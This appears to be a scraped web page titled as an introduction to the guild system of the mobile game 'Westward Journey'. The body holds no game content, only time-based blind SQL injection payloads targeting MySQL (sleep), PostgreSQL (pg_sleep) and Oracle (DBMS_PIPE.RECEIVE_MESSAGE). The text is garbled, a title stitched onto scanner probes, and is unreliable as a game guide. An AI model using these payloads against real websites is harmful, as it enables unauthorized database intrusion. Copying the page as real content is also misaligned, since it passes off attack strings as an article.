『大话西游手游』帮派系统介绍

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(select*from(select+sleep(0)union/**/select+1)a)

(select*from(select+sleep(2)union/**/select+1)a)

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123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

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123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('e',0)

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